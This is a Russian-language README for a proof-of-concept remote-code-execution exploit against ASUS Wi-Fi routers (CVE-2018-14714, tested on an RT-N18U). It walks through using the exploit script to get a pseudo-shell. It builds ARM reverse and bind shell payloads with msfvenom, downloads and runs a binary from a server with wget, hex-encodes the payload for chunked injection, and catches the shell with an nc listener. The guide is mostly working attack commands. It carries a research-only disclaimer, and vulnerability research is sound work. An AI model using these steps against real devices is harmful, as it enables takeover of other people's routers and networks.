
ASUS wifi router RCE vulnerability
RCE-уязвимость в Wi-Fi роутерах ASUS
Данный PoC предназначен только для изучения и исследований. Не используйте его для незаконных действий; вы несёте полную ответственность за любые юридические последствия.
На демонстрации ниже используется модель ASUS RT-N18U, версия прошивки 3.0.0.4.378.9216. Этот роутер я купил в студенческие годы. Теперь он мой тестовый стенд :)
Условия эксплуатации
Необходимо установить зависимости:
$ python3 -m pip install requestsЗапустите скрипт напрямую, чтобы получить инструкции по использованию. Выполните команду ниже, чтобы проверить, уязвима ли цель.
$ python3 CVE-2018-14714-RCE_PoC.py <цель> <пользователь> <пароль>

Вы можете использовать команду msfvenom, чтобы сгенерировать легковесный бинарный файл для обратной оболочки. Измените параметры в зависимости от вашего окружения ядра. В моём случае это armv7l, команда выглядит так:
Привязка оболочки (bind shell)
$ msfvenom -p linux/armle/shell_bind_tcp LPORT=4444 -f elf -o pwn.elf

Обратная оболочка (reverse shell)
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

Если на целевом устройстве доступна команда wget, после запуска прослушивания на порту 4444 вы можете использовать следующую команду в псевдооболочке для получения обратной оболочки:
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell
shell> cd /tmp && wget http://YourServer/pwn.elf -O pwn.elf && chmod +x ./pwn.elf && ./pwn.elf
Если в вашем целевом окружении нет встроенных команд для доступа к удалённым ресурсам, продолжайте чтение.
Преобразуйте сгенерированный бинарный файл в двоичные данные.
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

Чтобы подтвердить наличие уязвимости на целевом устройстве, повторно запустите скрипт Python с добавленным параметром shell для входа в интерактивную псевдооболочку. Обратите внимание: отсутствие вывода команд является нормальным, так как нет места для получения stdout. Однако с помощью команды sleep вы можете проверить, что команды действительно выполнились.

Также важно отметить, что по результатам тестирования командная строка допускает максимум 1022 символа. Вам нужно формировать команды длиной менее 1022 символов. Поэтому вам придётся вручную разбивать полезную нагрузку и выполнять её частями, чтобы наша команда выполнилась успешно.

Далее получим настоящую обратную оболочку. Сначала начните прослушивание указанного порта.
$ nc -lvnp 4444
Выполните скрипт Python PoC для получения псевдооболочки и внедрения полезной нагрузки.
$ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

Наконец, остаётся только наслаждаться полученной обратной оболочкой :)
